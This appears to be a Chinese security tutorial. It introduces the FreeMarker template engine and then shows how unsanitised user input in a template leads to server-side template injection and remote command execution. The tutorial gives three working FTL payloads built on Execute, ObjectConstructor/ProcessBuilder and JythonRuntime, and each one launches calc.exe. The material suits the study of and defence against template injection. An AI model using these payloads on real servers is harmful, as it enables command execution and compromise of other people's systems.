一、什么是 FreeMarker?
FreeMarker 是一款 模板引擎:即一種基於模板和要改變的數據, 並用來生成輸出文本(HTML網頁,電子郵件,配置文件,源代碼等)的通用工具。 它不是面向最終用戶的,而是一個Java類庫,是一款程序員可以嵌入他們所開發產品的組件。
模板編寫為FreeMarker Template Language (FTL)。它是簡單的,專用的語言, 不是 像PHP那樣成熟的編程語言。 那就意味着要准備數據在真實編程語言中來顯示,比如數據庫查詢和業務運算, 之后模板顯示已經准備好的數據。在模板中,你可以專注於如何展現數據, 而在模板之外可以專注於要展示什么數據。

這種方式被稱為 MVC (模型 視圖 控制器) 模式,對於動態網頁來說,是一種特別流行的模式。 它幫助從開發人員(Java 程序員)中分離出網頁設計師(HTML設計師)。設計師無需面對模板中的復雜邏輯, 在沒有程序員來修改或重新編譯代碼時,也可以修改頁面的樣式。
而FreeMarker最初的設計,是被用來在MVC模式的Web開發框架中生成HTML頁面的,它沒有被綁定到 Servlet或HTML或任意Web相關的東西上。它也可以用於非Web應用環境中。
FreeMarker 是 免費的, 基於Apache許可證2.0版本發布。
二、FreeMarker模板
<html> <head> <title>Welcome!</title> </head> <body>
<#–這是注釋–> <h1>Welcome ${user}!</h1> <p>Our latest product: <a href="${latestProduct.url}">${latestProduct.name}</a>! </body> </html>
模板文件存放在Web服務器上,就像通常存放靜態HTML頁面那樣。當有人來訪問這個頁面, FreeMarker將會介入執行,然后動態轉換模板,用最新的數據內容替換模板中 ${...} 的部分, 之后將結果發送到訪問者的Web瀏覽器中。訪問者的Web瀏覽器就會接收到例如第一個HTML示例那樣的內容 。
常用的幾種類型:
文本:包括HTML標簽與靜態文本等靜態內容,會原樣輸出;
插值:這部分的輸出會被計算的數據來替換,使用${}這種語法;
標簽:給FreeMarker的指示,可以簡單與指令等同,不會打印在內容中,比如<#assign name='bob'>;
注釋:由<#–和–>表示,不會被freemarker處理
三、利用注入實現遠程命令執行
3.1 搭建一個簡單的測試頁面,在頁面上提交一個參數,參數會通過freemarker模塊被處理,當然參數不經過任何處理,參數會顯示在Hello后面。

3.2 按照FreeMarker模板插值的用法,提交${2*2},顯示Hello 4,說明表達式被執行了

3.3 FreeMarker高級內置函數
參考:https://freemarker.apache.org/docs/ref_builtins_expert.html
其中, new函數創建一個繼承 freemarker.template.TemplateModel 類的變量。
New 使用示例:

3.4 構造Payload方法一
freemarker.template.utility里面有個Execute類,如下圖所示,這個類會執行它的參數,因此我們可以利用new函數新建一個Execute類,傳輸我們要執行的命令作為參數,從而構造遠程命令執行漏洞。

構造payload:
<#assign value="freemarker.template.utility.Execute"?new()>${value("calc.exe")}

3.5 構造Payload方法二
freemarker.template.utility里面有個ObjectConstructor類,如下圖所示,這個類會把它的參數作為名稱,構造了一個實例化對象。因此我們可以構造一個可執行命令的對象,從而構造遠程命令執行漏洞。

構造payload:
<#assign value="freemarker.template.utility.ObjectConstructor"?new()>${value("java.lang.ProcessBuilder","calc.exe").start()}
3.6 構造Payload方法三
freemarker.template.utility里面的JythonRuntime,可以通過自定義標簽的方式,執行Python命令,從而構造遠程命令執行漏洞。
構造payload:
<#assign value="freemarker.template.utility.JythonRuntime"?new()><@value>import os;os.system("calc.exe")</@value>
